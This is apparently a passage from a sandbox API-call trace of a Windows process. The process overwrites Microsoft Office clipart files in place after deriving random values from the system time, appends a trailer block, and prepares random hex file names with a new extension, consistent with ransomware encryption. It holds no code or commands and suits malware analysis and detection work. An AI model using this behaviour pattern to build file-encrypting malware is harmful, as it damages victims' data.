Size=0x20) returned 0x422f4480 [0150.211] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4510 [0150.211] NtQuerySystemTime (in: CurrentTime=0x2d62f740 | out: CurrentTime=0x2d62f740*=132462177554146000) returned 0x0 [0150.211] RtlRandomEx (in: Seed=0x2d62f730 | out: Seed=0x2d62f730) returned 0x6f32848b [0150.211] RtlRandomEx (in: Seed=0x2d62f730 | out: Seed=0x2d62f730) returned 0xf66309b [0150.211] RtlRandomEx (in: Seed=0x2d62f730 | out: Seed=0x2d62f730) returned 0x715f541 [0150.211] RtlRandomEx (in: Seed=0x2d62f730 | out: Seed=0x2d62f730) returned 0x6d1f3ea1 [0150.211] RtlRandomEx (in: Seed=0x2d62f730 | out: Seed=0x2d62f730) returned 0x6cf465e1 [0150.211] RtlRandomEx (in: Seed=0x2d62f730 | out: Seed=0x2d62f730) returned 0x1b8b48d4 [0150.211] RtlRandomEx (in: Seed=0x2d62f730 | out: Seed=0x2d62f730) returned 0x11bfae99 [0150.211] RtlRandomEx (in: Seed=0x2d62f730 | out: Seed=0x2d62f730) returned 0x1645729a [0150.211] RtlRandomEx (in: Seed=0x2d62f730 | out: Seed=0x2d62f730) returned 0x3d9ebe08 [0150.211] RtlRandomEx (in: Seed=0x2d62f730 | out: Seed=0x2d62f730) returned 0x491ee836 [0150.211] RtlRandomEx (in: Seed=0x2d62f730 | out: Seed=0x2d62f730) returned 0x58eae28a [0150.211] RtlRandomEx (in: Seed=0x2d62f730 | out: Seed=0x2d62f730) returned 0x650bb60a [0150.211] RtlRandomEx (in: Seed=0x2d62f730 | out: Seed=0x2d62f730) returned 0x1d5fbb3c [0150.212] RtlRandomEx (in: Seed=0x2d62f730 | out: Seed=0x2d62f730) returned 0x6425600a [0150.212] RtlRandomEx (in: Seed=0x2d62f730 | out: Seed=0x2d62f730) returned 0x18a6177f [0150.212] RtlRandomEx (in: Seed=0x2d62f730 | out: Seed=0x2d62f730) returned 0x5b4a150e [0150.212] RtlRandomEx (in: Seed=0x2d62f730 | out: Seed=0x2d62f730) returned 0x72bb182e [0150.212] RtlRandomEx (in: Seed=0x2d62f730 | out: Seed=0x2d62f730) returned 0x7ec99eaf [0150.212] RtlRandomEx (in: Seed=0x2d62f730 | out: Seed=0x2d62f730) returned 0x94848bc [0150.212] RtlRandomEx (in: Seed=0x2d62f730 | out: Seed=0x2d62f730) returned 0x3a6bbb26 [0150.212] RtlRandomEx (in: Seed=0x2d62f730 | out: Seed=0x2d62f730) returned 0x31c12e6e [0150.212] RtlRandomEx (in: Seed=0x2d62f730 | out: Seed=0x2d62f730) returned 0x7058e0a7 [0150.212] RtlRandomEx (in: Seed=0x2d62f730 | out: Seed=0x2d62f730) returned 0x445258d2 [0150.212] RtlRandomEx (in: Seed=0x2d62f730 | out: Seed=0x2d62f730) returned 0x55a12b22 [0150.212] RtlRandomEx (in: Seed=0x2d62f730 | out: Seed=0x2d62f730) returned 0x51c59bd4 [0150.212] RtlRandomEx (in: Seed=0x2d62f730 | out: Seed=0x2d62f730) returned 0x2fe50f1c [0150.212] RtlRandomEx (in: Seed=0x2d62f730 | out: Seed=0x2d62f730) returned 0x707dcd0a [0150.212] RtlRandomEx (in: Seed=0x2d62f730 | out: Seed=0x2d62f730) returned 0x13c48601 [0150.212] RtlRandomEx (in: Seed=0x2d62f730 | out: Seed=0x2d62f730) returned 0x32dc7582 [0150.212] RtlRandomEx (in: Seed=0x2d62f730 | out: Seed=0x2d62f730) returned 0x399847aa [0150.212] RtlRandomEx (in: Seed=0x2d62f730 | out: Seed=0x2d62f730) returned 0x75a42b6f [0150.212] RtlRandomEx (in: Seed=0x2d62f730 | out: Seed=0x2d62f730) returned 0x7d55884e [0150.219] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4540 [0150.219] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b030 [0150.219] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4570 [0150.219] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b030) returned 1 [0150.220] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4510) returned 1 [0150.220] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f43c0) returned 1 [0150.220] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058150 [0150.220] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b030 [0150.220] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f43c0 [0150.220] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f43c0) returned 1 [0150.220] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4243d540 [0150.220] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42441150 [0150.221] ReadFile (in: hFile=0x21dc, lpBuffer=0x4243d540, nNumberOfBytesToRead=0x228, lpNumberOfBytesRead=0x2d62f730, lpOverlapped=0x0 | out: lpBuffer=0x4243d540*, lpNumberOfBytesRead=0x2d62f730*=0x228, lpOverlapped=0x0) returned 1 [0150.221] SetFilePointerEx (in: hFile=0x21dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.221] WriteFile (in: hFile=0x21dc, lpBuffer=0x42441150*, nNumberOfBytesToWrite=0x228, lpNumberOfBytesWritten=0x2d62f734, lpOverlapped=0x0 | out: lpBuffer=0x42441150*, lpNumberOfBytesWritten=0x2d62f734*=0x228, lpOverlapped=0x0) returned 1 [0162.254] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c181e0 [0162.254] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18210 [0162.254] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18210) returned 1 [0162.254] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42441150) returned 1 [0162.255] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4243d540) returned 1 [0162.255] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b030) returned 1 [0162.255] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058150) returned 1 [0162.255] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x42c18210 [0162.255] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058150 [0162.256] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b030 [0162.256] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18240 [0162.256] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18240) returned 1 [0162.256] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x42c18240 [0162.256] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18270 [0162.257] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c182a0 [0162.257] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c182a0) returned 1 [0162.257] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b030) returned 1 [0162.257] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058150) returned 1 [0162.257] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x42c143f0 [0162.258] SetFilePointerEx (in: hFile=0x21dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0162.258] WriteFile (in: hFile=0x21dc, lpBuffer=0x42c143f0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2d62f850, lpOverlapped=0x0 | out: lpBuffer=0x42c143f0*, lpNumberOfBytesWritten=0x2d62f850*=0x10a, lpOverlapped=0x0) returned 1 [0166.408] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059290 [0166.408] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869240 [0166.408] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9980 [0166.409] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9980) returned 1 [0166.409] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d1c0 [0166.409] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9980 [0166.409] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9950 [0166.409] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9950) returned 1 [0166.410] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869240) returned 1 [0166.410] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059290) returned 1 [0166.410] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7aa1e0 [0166.410] sprintf (in: _Dest=0x1b7aa1e0, _Format="%c%c" | out: _Dest="81") returned 2 [0166.410] sprintf (in: _Dest=0x1b7aa1e2, _Format="%c%c" | out: _Dest="60") returned 2 [0166.410] sprintf (in: _Dest=0x1b7aa1e4, _Format="%c%c" | out: _Dest="e2") returned 2 [0166.410] sprintf (in: _Dest=0x1b7aa1e6, _Format="%c%c" | out: _Dest="f2") returned 2 [0166.410] sprintf (in: _Dest=0x1b7aa1e8, _Format="%c%c" | out: _Dest="45") returned 2 [0166.410] sprintf (in: _Dest=0x1b7aa1ea, _Format="%c%c" | out: _Dest="8b") returned 2 [0166.410] sprintf (in: _Dest=0x1b7aa1ec, _Format="%c%c" | out: _Dest="a2") returned 2 [0166.410] sprintf (in: _Dest=0x1b7aa1ee, _Format="%c%c" | out: _Dest="e8") returned 2 [0166.410] sprintf (in: _Dest=0x1b7aa1f0, _Format="%c%c" | out: _Dest="a3") returned 2 [0166.410] sprintf (in: _Dest=0x1b7aa1f2, _Format="%c%c" | out: _Dest="5f") returned 2 [0166.410] sprintf (in: _Dest=0x1b7aa1f4, _Format="%c%c" | out: _Dest="fa") returned 2 [0166.410] sprintf (in: _Dest=0x1b7aa1f6, _Format="%c%c" | out: _Dest="5c") returned 2 [0166.410] sprintf (in: _Dest=0x1b7aa1f8, _Format="%c%c" | out: _Dest="34") returned 2 [0166.411] sprintf (in: _Dest=0x1b7aa1fa, _Format="%c%c" | out: _Dest="e5") returned 2 [0166.411] sprintf (in: _Dest=0x1b7aa1fc, _Format="%c%c" | out: _Dest="d3") returned 2 [0166.411] sprintf (in: _Dest=0x1b7aa1fe, _Format="%c%c" | out: _Dest="94") returned 2 [0166.411] sprintf (in: _Dest=0x1b7aa200, _Format="%c%c" | out: _Dest="2b") returned 2 [0166.411] sprintf (in: _Dest=0x1b7aa202, _Format="%c%c" | out: _Dest="be") returned 2 [0166.411] sprintf (in: _Dest=0x1b7aa204, _Format="%c%c" | out: _Dest="d6") returned 2 [0166.411] sprintf (in: _Dest=0x1b7aa206, _Format="%c%c" | out: _Dest="7c") returned 2 [0166.411] sprintf (in: _Dest=0x1b7aa208, _Format="%c%c" | out: _Dest="c7") returned 2 [0166.411] sprintf (in: _Dest=0x1b7aa20a, _Format="%c%c" | out: _Dest="7c") returned 2 [0166.411] sprintf (in: _Dest=0x1b7aa20c, _Format="%c%c" | out: _Dest="0c") returned 2 [0166.411] sprintf (in: _Dest=0x1b7aa20e, _Format="%c%c" | out: _Dest="e9") returned 2 [0166.411] RtlInitAnsiString (in: DestinationString=0x2d62f8c8, SourceString="8160e2f2458ba2e8a35ffa5c34e5d3942bbed67cc77c0ce9" | out: DestinationString="8160e2f2458ba2e8a35ffa5c34e5d3942bbed67cc77c0ce9") [0166.411] RtlAnsiStringToUnicodeString (in: DestinationString=0x2d62f898, SourceString="8160e2f2458ba2e8a35ffa5c34e5d3942bbed67cc77c0ce9", AllocateDestinationString=1 | out: DestinationString="8160e2f2458ba2e8a35ffa5c34e5d3942bbed67cc77c0ce9") returned 0x0 [0166.411] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b86e1e0 [0166.411] RtlFreeAnsiString (AnsiString="8") [0166.412] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7aa1e0) returned 1 [0166.412] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0166.412] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9980) returned 1 [0166.412] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c143f0) returned 1 [0166.412] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18240) returned 1 [0166.413] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18270) returned 1 [0166.413] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18210) returned 1 [0166.413] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c181e0) returned 1 [0166.413] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4480) returned 1 [0166.413] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4540) returned 1 [0166.414] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4570) returned 1 [0166.414] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x42c306d0 [0166.414] wcscat (in: _Dest=0x42c306d0, _Source="8160e2f2458b" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\8160e2f2458b") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\8160e2f2458b" [0166.414] wcscat (in: _Dest=0x42c306d0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\8160e2f2458b.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\8160e2f2458b.2f9b60" [0166.414] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\8160e2f2458b.2f9b60", NtPathName=0x2d62f870, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\8160e2f2458b.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0166.414] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x42c36690 Thread: id = 2369 os_tid = 0x1d68 [0150.226] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01761_.wmf")) returned 0x20 [0150.227] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF", dwFileAttributes=0x20) returned 1 [0150.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01761_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x21e0 [0150.228] GetFileSizeEx (in: hFile=0x21e0, lpFileSize=0x2cacf980 | out: lpFileSize=0x2cacf980*=4148) returned 1 [0150.228] SetFilePointerEx (in: hFile=0x21e0, liDistanceToMove=0x1030, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.228] ReadFile (in: hFile=0x21e0, lpBuffer=0x2cacf900, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2cacf948, lpOverlapped=0x0 | out: lpBuffer=0x2cacf900*, lpNumberOfBytesRead=0x2cacf948*=0x4, lpOverlapped=0x0) returned 1 [0150.230] SetFilePointerEx (in: hFile=0x21e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.230] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f43c0 [0150.230] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4510 [0150.230] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f45a0 [0150.231] NtQuerySystemTime (in: CurrentTime=0x2cacf840 | out: CurrentTime=0x2cacf840*=132462177554458000) returned 0x0 [0150.231] RtlRandomEx (in: Seed=0x2cacf830 | out: Seed=0x2cacf830) returned 0x1034e0d8 [0150.231] RtlRandomEx (in: Seed=0x2cacf830 | out: Seed=0x2cacf830) returned 0x6f44d587 [0150.231] RtlRandomEx (in: Seed=0x2cacf830 | out: Seed=0x2cacf830) returned 0x73f8c1f5 [0150.231] RtlRandomEx (in: Seed=0x2cacf830 | out: Seed=0x2cacf830) returned 0x5d5ff746 [0150.231] RtlRandomEx (in: Seed=0x2cacf830 | out: Seed=0x2cacf830) returned 0x70950a57 [0150.231] RtlRandomEx (in: Seed=0x2cacf830 | out: Seed=0x2cacf830) returned 0x54c4d609 [0150.231] RtlRandomEx (in: Seed=0x2cacf830 | out: Seed=0x2cacf830) returned 0x336405e5 [0150.231] RtlRandomEx (in: Seed=0x2cacf830 | out: Seed=0x2cacf830) returned 0x42a1fcd2 [0150.231] RtlRandomEx (in: Seed=0x2cacf830 | out: Seed=0x2cacf830) returned 0x2d74f980 [0150.231] RtlRandomEx (in: Seed=0x2cacf830 | out: Seed=0x2cacf830) returned 0x35befe07 [0150.231] RtlRandomEx (in: Seed=0x2cacf830 | out: Seed=0x2cacf830) returned 0x559e5f4d [0150.231] RtlRandomEx (in: Seed=0x2cacf830 | out: Seed=0x2cacf830) returned 0x2239b3de [0150.231] RtlRandomEx (in: Seed=0x2cacf830 | out: Seed=0x2cacf830) returned 0x65bf79a5 [0150.231] RtlRandomEx (in: Seed=0x2cacf830 | out: Seed=0x2cacf830) returned 0x5d4e5826 [0150.231] RtlRandomEx (in: Seed=0x2cacf830 | out: Seed=0x2cacf830) returned 0x19229559 [0150.231] RtlRandomEx (in: Seed=0x2cacf830 | out: Seed=0x2cacf830) returned 0x787ec7b1 [0150.231] RtlRandomEx (in: Seed=0x2cacf830 | out: Seed=0x2cacf830) returned 0x5b98560 [0150.231] RtlRandomEx (in: Seed=0x2cacf830 | out: Seed=0x2cacf830) returned 0x7cb0140a [0150.231] RtlRandomEx (in: Seed=0x2cacf830 | out: Seed=0x2cacf830) returned 0x7e193d1a [0150.231] RtlRandomEx (in: Seed=0x2cacf830 | out: Seed=0x2cacf830) returned 0x301acdc8 [0150.231] RtlRandomEx (in: Seed=0x2cacf830 | out: Seed=0x2cacf830) returned 0x747494d5 [0150.231] RtlRandomEx (in: Seed=0x2cacf830 | out: Seed=0x2cacf830) returned 0x3a74f1e5 [0150.231] RtlRandomEx (in: Seed=0x2cacf830 | out: Seed=0x2cacf830) returned 0x7ffeed5 [0150.231] RtlRandomEx (in: Seed=0x2cacf830 | out: Seed=0x2cacf830) returned 0x80bca6f [0150.231] RtlRandomEx (in: Seed=0x2cacf830 | out: Seed=0x2cacf830) returned 0x6f409cca [0150.231] RtlRandomEx (in: Seed=0x2cacf830 | out: Seed=0x2cacf830) returned 0x6c919b3b [0150.231] RtlRandomEx (in: Seed=0x2cacf830 | out: Seed=0x2cacf830) returned 0x55fa1d0e [0150.231] RtlRandomEx (in: Seed=0x2cacf830 | out: Seed=0x2cacf830) returned 0x78386e70 [0150.231] RtlRandomEx (in: Seed=0x2cacf830 | out: Seed=0x2cacf830) returned 0x18f49f03 [0150.231] RtlRandomEx (in: Seed=0x2cacf830 | out: Seed=0x2cacf830) returned 0x15994407 [0150.232] RtlRandomEx (in: Seed=0x2cacf830 | out: Seed=0x2cacf830) returned 0x5bd3abed [0150.232] RtlRandomEx (in: Seed=0x2cacf830 | out: Seed=0x2cacf830) returned 0x3235c0f6 [0150.238] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f45d0 [0150.239] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b0b0 [0150.239] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4600 [0150.239] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b0b0) returned 1 [0150.239] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f45a0) returned 1 [0150.239] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f43c0) returned 1 [0150.239] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420581a0 [0150.239] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b0b0 [0150.239] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f43c0 [0150.240] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f43c0) returned 1 [0150.240] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42444d60 [0150.240] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42448970 [0150.240] ReadFile (in: hFile=0x21e0, lpBuffer=0x42444d60, nNumberOfBytesToRead=0x1034, lpNumberOfBytesRead=0x2cacf830, lpOverlapped=0x0 | out: lpBuffer=0x42444d60*, lpNumberOfBytesRead=0x2cacf830*=0x1034, lpOverlapped=0x0) returned 1 [0150.241] SetFilePointerEx (in: hFile=0x21e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.241] WriteFile (in: hFile=0x21e0, lpBuffer=0x42448970*, nNumberOfBytesToWrite=0x1034, lpNumberOfBytesWritten=0x2cacf834, lpOverlapped=0x0 | out: lpBuffer=0x42448970*, lpNumberOfBytesWritten=0x2cacf834*=0x1034, lpOverlapped=0x0) returned 1 [0162.248] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18120 [0162.248] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18150 [0162.249] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18150) returned 1 [0162.249] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42448970) returned 1 [0162.249] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42444d60) returned 1 [0162.249] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b0b0) returned 1 [0162.249] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420581a0) returned 1 [0162.249] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x42c18150 [0162.250] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420581a0 [0162.250] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b0b0 [0162.250] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18180 [0162.250] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18180) returned 1 [0162.250] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x42c18180 [0162.250] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c181b0 [0162.251] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c181e0 [0162.251] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c181e0) returned 1 [0162.251] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b0b0) returned 1 [0162.251] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420581a0) returned 1 [0162.251] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x42c142d0 [0162.252] SetFilePointerEx (in: hFile=0x21e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0162.252] WriteFile (in: hFile=0x21e0, lpBuffer=0x42c142d0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2cacf950, lpOverlapped=0x0 | out: lpBuffer=0x42c142d0*, lpNumberOfBytesWritten=0x2cacf950*=0x10a, lpOverlapped=0x0) returned 1 [0164.414] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059970 [0164.414] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59930 [0164.414] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd96b0 [0164.415] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd96b0) returned 1 [0164.415] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d180 [0164.415] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd96b0 [0164.415] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9680 [0164.416] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9680) returned 1 [0164.416] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59930) returned 1 [0164.417] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059970) returned 1 [0164.417] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d7f80 [0164.417] sprintf (in: _Dest=0x1b7d7f80, _Format="%c%c" | out: _Dest="8d") returned 2 [0164.417] sprintf (in: _Dest=0x1b7d7f82, _Format="%c%c" | out: _Dest="6c") returned 2 [0164.417] sprintf (in: _Dest=0x1b7d7f84, _Format="%c%c" | out: _Dest="6d") returned 2 [0164.417] sprintf (in: _Dest=0x1b7d7f86, _Format="%c%c" | out: _Dest="4f") returned 2 [0164.417] sprintf (in: _Dest=0x1b7d7f88, _Format="%c%c" | out: _Dest="2c") returned 2 [0164.417] sprintf (in: _Dest=0x1b7d7f8a, _Format="%c%c" | out: _Dest="94") returned 2 [0164.417] sprintf (in: _Dest=0x1b7d7f8c, _Format="%c%c" | out: _Dest="9d") returned 2 [0164.417] sprintf (in: _Dest=0x1b7d7f8e, _Format="%c%c" | out: _Dest="2d") returned 2 [0164.417] sprintf (in: _Dest=0x1b7d7f90, _Format="%c%c" | out: _Dest="44") returned 2 [0164.417] sprintf (in: _Dest=0x1b7d7f92, _Format="%c%c" | out: _Dest="0d") returned 2 [0164.417] sprintf (in: _Dest=0x1b7d7f94, _Format="%c%c" | out: _Dest="0f") returned 2 [0164.417] sprintf (in: _Dest=0x1b7d7f96, _Format="%c%c" | out: _Dest="4a") returned 2 [0164.417] sprintf (in: _Dest=0x1b7d7f98, _Format="%c%c" | out: _Dest="02") returned 2 [0164.417] sprintf (in: _Dest=0x1b7d7f9a, _Format="%c%c" | out: _Dest="b5") returned 2 [0164.417] sprintf (in: _Dest=0x1b7d7f9c, _Format="%c%c" | out: _Dest="4a") returned 2 [0164.418] sprintf (in: _Dest=0x1b7d7f9e, _Format="%c%c" | out: _Dest="30") returned 2 [0164.418] sprintf (in: _Dest=0x1b7d7fa0, _Format="%c%c" | out: _Dest="67") returned 2 [0164.418] sprintf (in: _Dest=0x1b7d7fa2, _Format="%c%c" | out: _Dest="70") returned 2 [0164.418] sprintf (in: _Dest=0x1b7d7fa4, _Format="%c%c" | out: _Dest="f7") returned 2 [0164.418] sprintf (in: _Dest=0x1b7d7fa6, _Format="%c%c" | out: _Dest="36") returned 2 [0164.418] sprintf (in: _Dest=0x1b7d7fa8, _Format="%c%c" | out: _Dest="86") returned 2 [0164.418] sprintf (in: _Dest=0x1b7d7faa, _Format="%c%c" | out: _Dest="9a") returned 2 [0164.418] sprintf (in: _Dest=0x1b7d7fac, _Format="%c%c" | out: _Dest="96") returned 2 [0164.418] sprintf (in: _Dest=0x1b7d7fae, _Format="%c%c" | out: _Dest="2a") returned 2 [0164.418] RtlInitAnsiString (in: DestinationString=0x2cacf9c8, SourceString="8d6c6d4f2c949d2d440d0f4a02b54a306770f736869a962a" | out: DestinationString="8d6c6d4f2c949d2d440d0f4a02b54a306770f736869a962a") 